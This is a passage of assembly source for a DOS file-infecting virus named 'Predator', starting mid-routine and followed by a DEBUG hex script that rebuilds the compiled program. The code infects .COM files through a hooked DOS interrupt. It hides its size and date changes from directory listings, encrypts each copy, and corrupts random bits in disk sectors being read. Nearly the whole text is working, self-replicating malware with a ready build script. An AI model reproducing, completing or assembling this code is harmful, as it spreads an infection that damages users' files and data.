||
pop es
|
||
mov di,100h
|
||
call $+3 ;get address of first 3 bytes of .com file
|
||
pop si
|
||
sub si,(offset $-1)-offset File_Bytes
|
||
push ss
|
||
push di
|
||
cld
|
||
movsw ;move them
|
||
movsb
|
||
push ss
|
||
pop ds
|
||
xor ax,ax
|
||
retf ;jump to original program
|
||
|
||
|
||
|
||
New_21: cmp ah,Open ;check function
|
||
je Infect
|
||
cmp ah,Ext_Open
|
||
je Ext_File_Open
|
||
cmp ah,Execute
|
||
je Infect
|
||
cmp ah,Find_FCB
|
||
je Stealth_FCB
|
||
cmp ah,Find_FCB_Next
|
||
je Stealth_FCB
|
||
cmp ah,Open_FCB
|
||
je Stealth_FCB_O
|
||
cmp ah,Find_Dir
|
||
je Stealth_Dir
|
||
cmp ah,Find_Dir_Next
|
||
je Stealth_Dir
|
||
cmp ah,Version ;other checking for us
|
||
jne Jump_21
|
||
cmp bx,Its_Me
|
||
jne Jump_21
|
||
mov ax,bx ;tell other that we're here
|
||
Ret_21: retf 0002h
|
||
Jump_21: jmp cs:Int_21
|
||
|
||
Stealth_Dir: jmp Hide_Find
|
||
Stealth_FCB: jmp Hide_FCB
|
||
Stealth_FCB_O: jmp Hide_FCB_O
|
||
|
||
Infect_Error_J: jmp Infect_Error
|
||
Ext_File_Open: mov word ptr cs:[File_Pnt],si ;Extended open uses DS:SI
|
||
jmp short Infect_ds
|
||
Infect: mov word ptr cs:[File_Pnt],dx ;Open & Execute use DS:DX
|
||
Infect_ds: mov word ptr cs:[File_Pnt+2h],ds
|
||
mov byte ptr cs:[Infect_Status],0h ;zero out progress byte
|
||
call Push_All ;Push all registers
|
||
call Hook_24 ;Hook Int 24 to avoid errors being displayed
|
||
call Is_Com ;Is it a .com file?
|
||
jb Infect_Error_J ;Carry flag set if it is not
|
||
lds dx,cs:[File_Pnt] ;get saved address of file name
|
||
mov ax,4300h ;fetch the attribute
|
||
push ax
|
||
call Old_21
|
||
pop ax
|
||
jb Infect_Error_J
|
||
mov byte ptr cs:[File_Attr],cl ;save attribute
|
||
test cl,Read_Only ;no need to change if not read only
|
||
je No_Attr_Rem
|
||
xor cx,cx
|
||
inc al
|
||
call Old_21 ;if read only, then zero out
|
||
jb Infect_Error_J
|
||
or byte ptr cs:[Infect_Status],Attribute ;update progress byte
|
||
No_Attr_Rem: mov ax,3dc2h ;open with write/compatibility
|
||
call Old_21
|
||
jb Infect_Error_J
|
||
xchg ax,bx ;handle into bx
|
||
push cs
|
||
pop ds
|
||
or byte ptr ds:[Infect_Status],Opened ;update progress byte
|
||
mov ax,5700h ;get date
|
||
call Old_21
|
||
cmp dh,Hundred_Years ;is it infected?
|
||
jnb Infect_Error
|
||
add dh,Hundred_Years ;else add 100 years to date
|
||
mov word ptr ds:[File_Date],dx ;save modified date
|
||
mov word ptr ds:[File_Time],cx
|
||
mov ah,3fh ;read first 3 bytes
|
||
mov cx,3h
|
||
mov dx,offset File_Bytes
|
||
call Old_21
|
||
cmp ax,cx ;if error, then quit
|
||
jne Infect_Error
|
||
cmp word ptr ds:[File_Bytes],'MZ' ;no .exe files
|
||
je Infect_Error
|
||
cmp word ptr ds:[File_Bytes],'ZM'
|
||
je Infect_Error
|
||
mov al,2 ;set file pointer to end of file
|
||
call Set_Pnt
|
||
or dx,dx ;too big?
|
||
jne Infect_Error
|
||
cmp ax,1000 ;too small?
|
||
jb Infect_Error
|
||
cmp ax,0-2000 ;still too big?
|
||
ja Infect_Error
|
||
mov di,offset Jump_Bytes ;make a jump to end of file
|
||
push ax
|
||
add ax,100h ;these two are for the encryption
|
||
mov word ptr ds:[Decrypt_Start_Off+1],ax
|
||
push cs
|
||
pop es
|
||
mov al,0e9h ;e9h = JMP xxxx
|
||
cld
|
||
stosb
|
||
pop ax
|
||
sub ax,3h ; to end of file
|
||
stosw
|
||
call Encrypt_Virus ;encrypt the virus
|
||
mov ah,40h ;write the encrypted virus and the
|
||
;decryption routine to file
|
||
mov dx,offset New_Virus
|
||
mov cx,New_Virus_Size
|
||
call Old_21
|
||
jb Infect_Error
|
||
or byte ptr ds:[Infect_Status],Written ;update progress byte
|
||
xor al,al ;set file pointer to
|
||
call Set_Pnt ;beginning of file
|
||
mov ah,40h ;write the jump
|
||
mov dx,offset Jump_Bytes
|
||
mov cx,3h
|
||
call Old_21
|
||
Infect_Error: test byte ptr cs:[Infect_Status],Opened ;was file opened?
|
||
je Set_Attr
|
||
test byte ptr cs:[Infect_Status],Written ;was file written to?
|
||
je Close
|
||
mov ax,5701h ;if infected, restore modified date
|
||
mov dx,cs:[File_Date]
|
||
mov cx,ds:[File_Time]
|
||
call Old_21
|
||
Close: mov ah,3eh ;close file
|
||
call Old_21
|
||
Set_Attr: test byte ptr cs:[Infect_Status],Attribute ;attribute changed?
|
||
je Jump_Old_21
|
||
mov ax,4301h ;if changed, then restore it
|
||
xor cx,cx
|
||
mov cl,cs:[File_Attr]
|
||
lds dx,cs:[File_Pnt]
|
||
call Old_21
|
||
Jump_Old_21: call Unhook_24 ;unhook Int 24
|
||
call Pop_All ;pop all registers
|
||
jmp Jump_21 ;jump to original int 21
|
||
|
||
Set_Pnt: mov ah,42h ;set file pointer w/ al as parameter
|
||
xor cx,cx
|
||
cwd ;zero out dx
|
||
call Old_21
|
||
retn
|
||
|
||
|
||
Pop_All: pop word ptr cs:[Ret_Add] ;save return address
|
||
pop es
|
||
pop ds
|
||
pop si
|
||
pop di
|
||
pop bp
|
||
pop dx
|
||
pop cx
|
||
pop bx
|
||
pop ax
|
||
popf
|
||
jmp cs:[Ret_Add] ;jump to return address
|
||
|
||
Push_All: pop word ptr cs:[Ret_Add] ;save return address
|
||
pushf
|
||
push ax
|
||
push bx
|
||
push cx
|
||
push dx
|
||
push bp
|
||
push di
|
||
push si
|
||
push ds
|
||
push es
|
||
jmp cs:[Ret_Add] ;jump to return address
|
||
|
||
|
||
Hook_24: call Push_All ;push all registers
|
||
mov ax,3524h ;get int 24 address
|
||
call Old_21
|
||
mov word ptr cs:[Int_24],bx ;save address
|
||
mov word ptr cs:[Int_24+2h],es
|
||
mov ah,25h ;set new address to us
|
||
push cs
|
||
pop ds
|
||
mov dx,offset New_24
|
||
call Old_21
|
||
call Pop_All ;pop all registers
|
||
retn
|
||
|
||
Unhook_24: call Push_All
|
||
mov ax,2524h ;set old address back
|
||
lds dx,cs:[Int_24]
|
||
Call Old_21
|
||
call Pop_All
|
||
retn
|
||
|
||
New_24: mov al,3h ;int 24, fail
|
||
iret
|
||
|
||
Old_21: pushf ;call to original int 21
|
||
call cs:Int_21
|
||
retn
|
||
|
||
;Hide_Find hides the file size increase for functions 4eh and 4fh and the
|
||
;date change
|
||
|
||
|
||
Hide_Find: call Old_21 ;do the search
|
||
call Push_All ;push all registers
|
||
jb Hide_File_Error
|
||
mov ah,2fh ;get DTA address
|
||
call Old_21
|
||
cmp byte ptr es:[bx.DTA_File_Date+1h],Hundred_Years ;Is it
|
||
jb Hide_File_Error ;infected?
|
||
sub byte ptr es:[bx.DTA_File_Date+1h],Hundred_Years ;Take
|
||
|
||
;away 100 years from date
|
||
|
||
sub word ptr es:[bx.DTA_File_Size],New_Virus_Size ;take
|
||
|
||
;away Virus_Size from file size
|
||
|
||
sbb word ptr es:[bx.DTA_File_Size+2],0 ;subtract remainder
|
||
|
||
;although there will not be one
|
||
; I included it for expandibility
|
||
; (i.e. infecting .exe files)
|
||
Hide_File_Error:call Pop_All ;pop all registers
|
||
jmp Ret_21
|
||
|
||
;Hide_FCB hides the file size increase for functions 11h and 12h and the
|
||
;date change
|
||
|
||
|
||
Hide_FCB: call Old_21 ;find file
|
||
call Push_All ;push registers
|
||
or al,al ;al=0 if no error
|
||
jne Hide_FCB_Error
|
||
mov ah,Get_DTA ;get address of DTA
|
||
call Old_21
|
||
cmp byte ptr ds:[bx],Extended_FCB ;is it an extended FCB?
|
||
jne Hide_FCB_Reg
|
||
add bx,7h ;yes, add 7 to address to skip garbage
|
||
|
||
Hide_FCB_Reg: cmp byte ptr es:[bx.DS_Date+1h],Hundred_Years ;Is it infected?
|
||
jb Hide_FCB_Error
|
||
sub byte ptr es:[bx.DS_Date+1h],Hundred_Years ;yes, restore
|
||
;date
|
||
|
||
sub word ptr es:[bx.DS_File_Size],New_Virus_Size ;fix size
|
||
sbb word ptr es:[bx.DS_File_Size+2],0 ;and remainder
|
||
Hide_FCB_Error: call Pop_All ;pop all registers
|
||
jmp Ret_21
|
||
|
||
;Hide_FCB_O hides the file size increase for function 0fh and the
|
||
;date change
|
||
|
||
Hide_FCB_O: call Old_21 ;open FCB
|
||
call Push_All ;push all registers
|
||
cmp al,0h ;al=0 if opened, else error
|
||
jne Hide_FCB_O_Error
|
||
mov bx,dx ;pointer into bx
|
||
|
||
cmp byte ptr ds:[bx],Extended_FCB ;is it an extended FCB?
|
||
jne Hide_FCB_No_E
|
||
add bx,7h ;yes, add 7 to skip garbage
|
||
|
||
Hide_FCB_No_E: cmp byte ptr ds:[bx.FCB_File_Date+1h],Hundred_Years ;infected?
|
||
jb Hide_FCB_O_Error
|
||
sub byte ptr ds:[bx.FCB_File_Date+1h],Hundred_Years ;yes,
|
||
;fix date
|
||
|
||
sub word ptr ds:[bx.FCB_File_Size],New_Virus_Size ;fix size
|
||
sbb word ptr ds:[bx.FCB_File_Size+2h],0 ;and remainder
|
||
Hide_FCB_O_Error:call Pop_All ;pop all registers
|
||
jmp Ret_21
|
||
|
||
Is_Com: push cs
|
||
pop ds
|
||
les di,ds:[File_Pnt] ;get address of file
|
||
xor al,al
|
||
mov cx,7fh
|
||
cld
|
||
repne scasb ;scan for null byte at end of file name
|
||
cmp cx,7fh-5h ;must be at least 5 bytes long,
|
||
;including ext. (.COM)
|
||
jnb Is_Not_Com
|
||
mov cx,5h ;compare last five bytes to ".COM",0
|
||
sub di,cx
|
||
mov si,offset Com_Spec ;offset of ".COM",0
|
||
cld
|
||
rep cmpsb ;compare them
|
||
jne Is_Not_Com
|
||
clc ;if .com file, then clear carry flag
|
||
retn
|
||
Is_Not_Com: stc ;else set it
|
||
retn
|
||
|
||
;This is the interrupt 13 handle, it's sole purpose is to complement a
|
||
;random bit after a random number of sectors (1-65535) have been read.
|
||
|
||
|
||
New_13: cmp ah,2h ;Is a sector going to be read
|
||
je Read_Sector
|
||
Jump_13: jmp cs:Int_13 ;no, continue on
|
||
Ret_13: call Pop_All ;pop all registers
|
||
retf 0002h
|
||
Read_Sector: mov byte ptr cs:[Sub_Value],al ;save number of sectors read
|
||
pushf
|
||
call cs:Int_13 ;read the sectors
|
||
call Push_All ;push flags
|
||
jb Ret_13 ;jump if error to return
|
||
mov al,cs:[Sub_Value] ;get number of sectors read
|
||
cbw
|
||
sub word ptr cs:[Count_Down],ax ;subtract it from our count
|
||
ja Ret_13 ;down
|
||
mov bx,200h ;200h bytes per sector
|
||
cwd ;zero dx
|
||
mul bx ;mul # of sectors by 200
|
||
dec ax ;minus one
|
||
xor cx,cx
|
||
mov ds,cx
|
||
mov cx,ds:[46ch] ;get random value
|
||
mov word ptr cs:[Count_Down],cx ;move it into count down
|
||
push cx
|
||
and cx,ax ;cx must be < ax
|
||
add bx,cx ;add it to the address of
|
||
pop cx ;where the sectors were read
|
||
add cl,ch ;randomize cl
|
||
rcr word ptr es:[bx],cl ;get a random bit
|
||
cmc ;reverse it
|
||
rcl word ptr es:[bx],cl ;put it back
|
||
jmp short Ret_13 ;jump to return
|
||
|
||
;The Encrypt_Virus module copies the decryption routine and an encrypted
|
||
;copy of the virus to a buffer
|
||
|
||
Encrypt_Virus: xor ax,ax
|
||
mov ds,ax
|
||
mov ax,ds:[46ch] ;get random value
|
||
push cs
|
||
pop ds
|
||
add byte ptr ds:[Decrypt_Value],al ;use as encryption key
|
||
mov al,ds:[Decrypt_Value] ;get encryption key
|
||
add ah,al ;randomize ah
|
||
add byte ptr ds:[Decrypt_Random],ah ;put random garbage
|
||
mov si,offset Decrypt_Code ;copy decryption routine
|
||
mov di,offset New_Virus
|
||
mov cx,offset Decrypt_End-offset Decrypt_Code
|
||
cld
|
||
rep movsb ;to buffer
|
||
mov si,offset Virus_Start ;copy virus
|
||
mov cx,((Virus_Size)/2)+1
|
||
Encrypt_Loop: xchg ax,cx
|
||
push ax
|
||
lodsw
|
||
rol ax,cl ;and encrypt
|
||
not ax
|
||
stosw ;to buffer
|
||
pop ax
|
||
xchg ax,cx
|
||
loop Encrypt_Loop
|
||
dec di ;fix pointer for
|
||
dec di ;decryption routine
|
||
sub di,offset New_Virus ;point decryption's SP to end of
|
||
;encrypted code for proper
|
||
;decryption
|
||
|
||
add word ptr ds:[New_Virus+(Decrypt_Start_Off+1-Decrypt_Code)],di
|
||
retn
|
||
|
||
;Decryption routine
|
||
|
||
Decrypt_Code: mov dx,((Virus_Size)/2)+1
|
||
db 0b1h ;mov cl,
|
||
Decrypt_Value db ?
|
||
cli
|
||
mov bp,sp
|
||
Decrypt_Start_Off:mov sp,1234h
|
||
Decrypt_Loop: pop ax
|
||
not ax
|
||
ror ax,cl
|
||
push ax
|
||
jmp short $+3
|
||
Decrypt_Random: db 12h
|
||
dec sp
|
||
dec sp
|
||
dec dx
|
||
jne Decrypt_Loop
|
||
Decrypt_End:
|
||
|
||
db ?
|
||
Virus_End:
|
||
|
||
Jump_Bytes db 3 dup(0)
|
||
|
||
Int_13 dd ?
|
||
Int_21 dd ?
|
||
Int_24 dd ?
|
||
|
||
Ret_Add dw ?
|
||
|
||
File_Pnt dd ?
|
||
|
||
Infect_Status db ?
|
||
|
||
File_Time dw ?
|
||
File_Date dw ?
|
||
File_Attr db ?
|
||
|
||
Count_Down dw ?
|
||
Sub_Value db ?
|
||
|
||
New_Virus db Virus_Size+(offset Decrypt_End-offset Decrypt_Code)+1 dup(0)
|
||
|
||
Finish:
|
||
|
||
;various structures
|
||
|
||
Directory STRUC
|
||
DS_Drive db ?
|
||
DS_File_Name db 8 dup(0)
|
||
DS_File_Ext db 3 dup(0)
|
||
DS_File_Attr db ?
|
||
DS_Reserved db 10 dup(0)
|
||
DS_Time dw ?
|
||
DS_Date dw ?
|
||
DS_Start_Clust dw ?
|
||
DS_File_Size dd ?
|
||
Directory ENDS
|
||
|
||
FCB STRUC
|
||
FCB_Drive db ?
|
||
FCB_File_Name db 8 dup(0)
|
||
FCB_File_Ext db 3 dup(0)
|
||
FCB_Block dw ?
|
||
FCB_Rec_Size dw ?
|
||
FCB_File_Size dd ?
|
||
FCB_File_Date dw ?
|
||
FCB_File_Time dw ?
|
||
FCB_Reserved db 8 dup(0)
|
||
FCB_Record db ?
|
||
FCB_Random dd ?
|
||
FCB ENDS
|
||
|
||
DTA STRUC
|
||
DTA_Reserved db 21 dup(0)
|
||
DTA_File_Attr db ?
|
||
DTA_File_Time dw ?
|
||
DTA_File_Date dw ?
|
||
DTA_File_Size dd ?
|
||
DTA_File_Name db 13 dup(0)
|
||
DTA ENDS
|
||
|
||
|
||
|
||
|
||
|
||
CSEG ENDS
|
||
END Virus_Start
|
||
--Predator Debug Script--------------------------------------------------------
|
||
n predator.com
|
||
e 0100 8B E5 FB B4 30 BB 4D 49 CD 21 3D 4D 49 75 03 E9
|
||
e 0110 AF 00 8C C8 48 8E D8 80 3E 00 00 5A 75 F1 B8 64
|
||
e 0120 08 B1 04 D3 E8 40 50 48 D3 E8 D0 E9 D3 E8 40 1E
|
||
e 0130 33 DB 8E DB 29 06 13 04 1F 58 29 06 03 00 8C C8
|
||
e 0140 03 06 03 00 8E C0 0E 1F E8 00 00 5E 81 EE 4B 00
|
||
e 0150 33 FF B9 64 08 FC F3 A4 06 B8 89 00 50 CB 50 72
|
||
e 0160 65 64 61 74 6F 72 20 76 69 72 75 73 20 20 28 63
|
||
e 0170 29 20 4D 61 72 2E 20 39 33 20 20 50 72 69 65 73
|
||
e 0180 74 CD 20 00 2E 43 4F 4D 00 0E 1F B8 21 35 CD 21
|
||
e 0190 89 1E 1D 04 8C 06 1F 04 B0 13 CD 21 89 1E 19 04
|
||
e 01A0 8C 06 1B 04 B4 25 BA 6D 03 CD 21 B0 21 BA D8 00
|
||
e 01B0 CD 21 33 C0 8E D8 A1 6C 04 0E 1F 86 C4 01 06 31
|
||
e 01C0 04 16 07 BF 00 01 E8 00 00 5E 81 EE 48 00 16 57
|
||
e 01D0 FC A5 A4 16 1F 33 C0 CB 80 FC 3D 74 4B 80 FC 6C
|
||
e 01E0 74 3F 80 FC 4B 74 41 80 FC 11 74 2C 80 FC 12 74
|
||
e 01F0 27 80 FC 0F 74 25 80 FC 4E 74 1A 80 FC 4F 74 15
|
||
e 0200 80 FC 30 75 0B 81 FB 4D 49 75 05 8B C3 CA 02 00
|
||
e 0210 2E FF 2E 1D 04 E9 9A 01 E9 C5 01 E9 FA 01 E9 DC
|
||
e 0220 00 2E 89 36 27 04 EB 05 2E 89 16 27 04 2E 8C 1E
|
||
e 0230 29 04 2E C6 06 2B 04 00 E8 26 01 E8 37 01 E8 08
|
||
e 0240 02 72 DB 2E C5 16 27 04 B8 00 43 50 E8 5C 01 58
|
||
e 0250 72 CC 2E 88 0E 30 04 F6 C1 01 74 0F 33 C9 FE C0
|
||
e 0260 E8 48 01 72 B9 2E 80 0E 2B 04 01 B8 C2 3D E8 3A
|
||
e 0270 01 72 AB 93 0E 1F 80 0E 2B 04 02 B8 00 57 E8 2A
|
||
e 0280 01 80 FE C8 73 77 80 C6 C8 89 16 2E 04 89 0E 2C
|
||
e 0290 04 B4 3F B9 03 00 BA 81 00 E8 0F 01 3B C1 75 5D
|
||
e 02A0 81 3E 81 00 5A 4D 74 55 81 3E 81 00 4D 5A 74 4D
|
||
e 02B0 B0 02 E8 8F 00 0B D2 75 44 3D E8 03 72 3F 3D 30
|
||
e 02C0 F8 77 3A BF 16 04 50 05 00 01 A3 05 04 0E 07 B0
|
||
e 02D0 E9 FC AA 58 2D 03 00 AB E8 E2 01 B4 40 BA 34 04
|
||
e 02E0 B9 30 04 E8 C5 00 72 15 80 0E 2B 04 04 32 C0 E8
|
||
e 02F0 52 00 B4 40 BA 16 04 B9 03 00 E8 AE 00 2E F6 06
|
||
e 0300 2B 04 02 74 1C 2E F6 06 2B 04 04 74 0F B8 01 57
|
||
e 0310 2E 8B 16 2E 04 8B 0E 2C 04 E8 8F 00 B4 3E E8 8A
|
||
e 0320 00 2E F6 06 2B 04 01 74 12 B8 01 43 33 C9 2E 8A
|
||
e 0330 0E 30 04 2E C5 16 27 04 E8 70 00 E8 58 00 E8 0C
|
||
e 0340 00 E9 CC FE B4 42 33 C9 99 E8 5F 00 C3 2E 8F 06
|
||
e 0350 25 04 07 1F 5E 5F 5D 5A 59 5B 58 9D 2E FF 26 25
|
||
e 0360 04 2E 8F 06 25 04 9C 50 53 51 52 55 57 56 1E 06
|
||
e 0370 2E FF 26 25 04 E8 E9 FF B8 24 35 E8 2D 00 2E 89
|
||
e 0380 1E 21 04 2E 8C 06 23 04 B4 25 0E 1F BA A8 02 E8
|
||
e 0390 19 00 E8 B8 FF C3 E8 C8 FF B8 24 25 2E C5 16 21
|
||
e 03A0 04 E8 07 00 E8 A6 FF C3 B0 03 CF 9C 2E FF 1E 1D
|
||
e 03B0 04 C3 E8 F6 FF E8 A9 FF 72 20 B4 2F E8 EC FF 26
|
||
e 03C0 80 BF 19 00 C8 72 13 26 80 AF 19 00 C8 26 81 AF
|
||
e 03D0 1A 00 30 04 26 83 9F 1C 00 00 E8 70 FF E9 2D FE
|
||
e 03E0 E8 C8 FF E8 7B FF 0A C0 75 28 B4 2F E8 BC FF 80
|
||
e 03F0 3F FF 75 03 83 C3 07 26 80 BF 1A 00 C8 72 13 26
|
||
e 0400 80 AF 1A 00 C8 26 81 AF 1D 00 30 04 26 83 9F 1F
|
||
e 0410 00 00 E8 38 FF E9 F5 FD E8 90 FF E8 43 FF 3C 00
|
||
e 0420 75 21 8B DA 80 3F FF 75 03 83 C3 07 80 BF 15 00
|
||
e 0430 C8 72 10 80 AF 15 00 C8 81 AF 10 00 30 04 83 9F
|
||
e 0440 12 00 00 E8 07 FF E9 C4 FD 0E 1F C4 3E 27 04 32
|
||
e 0450 C0 B9 7F 00 FC F2 AE 83 F9 7A 73 0F B9 05 00 2B
|
||
e 0460 F9 BE 84 00 FC F3 A6 75 02 F8 C3 F9 C3 80 FC 02
|
||
e 0470 74 0B 2E FF 2E 19 04 E8 D3 FE CA 02 00 2E A2 33
|
||
e 0480 04 9C 2E FF 1E 19 04 E8 D7 FE 72 EB 2E A0 33 04
|
||
e 0490 98 2E 29 06 31 04 77 DF BB 00 02 99 F7 E3 48 33
|
||
e 04A0 C9 8E D9 8B 0E 6C 04 2E 89 0E 31 04 51 23 C8 03
|
||
e 04B0 D9 59 02 CD 26 D3 1F F5 26 D3 17 EB BA 33 C0 8E
|
||
e 04C0 D8 A1 6C 04 0E 1F 00 06 00 04 A0 00 04 02 E0 00
|
||
e 04D0 26 0F 04 BE FC 03 BF 34 04 B9 19 00 FC F3 A4 BE
|
||
e 04E0 00 00 B9 0C 02 91 50 AD D3 C0 F7 D0 AB 58 91 E2
|
||
e 04F0 F4 4F 4F 81 EF 34 04 01 3E 3D 04 C3 BA 0C 02 B1
|
||
e 0500 00 FA 8B EC BC 34 12 58 F7 D0 D3 C8 50 EB 01 12
|
||
e 0510 4C 4C 4A 75 F2 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0520 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0530 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0540 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0550 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0560 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0570 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0580 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0590 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 05A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 05B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 05C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 05D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 05E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 05F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0600 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0610 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0620 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0630 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0640 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0650 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0660 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0670 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0680 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0690 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 06A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 06B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 06C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 06D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 06E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 06F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0700 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0710 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0720 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0730 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0740 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0750 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0760 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0770 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0780 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0790 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 07A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 07B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 07C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 07D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 07E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 07F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0800 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0810 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0820 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0830 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0840 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0850 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0860 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0870 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0880 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0890 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 08A0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 08B0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 08C0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 08D0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 08E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 08F0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0900 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0910 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0920 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0930 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0940 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0950 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
|
||
e 0960 00 00 00 00
|
||
|
||
rcx
|
||
0864
|
||
w
|
||
q
|
||
-------------------------------------------------------------------------------
|
||
|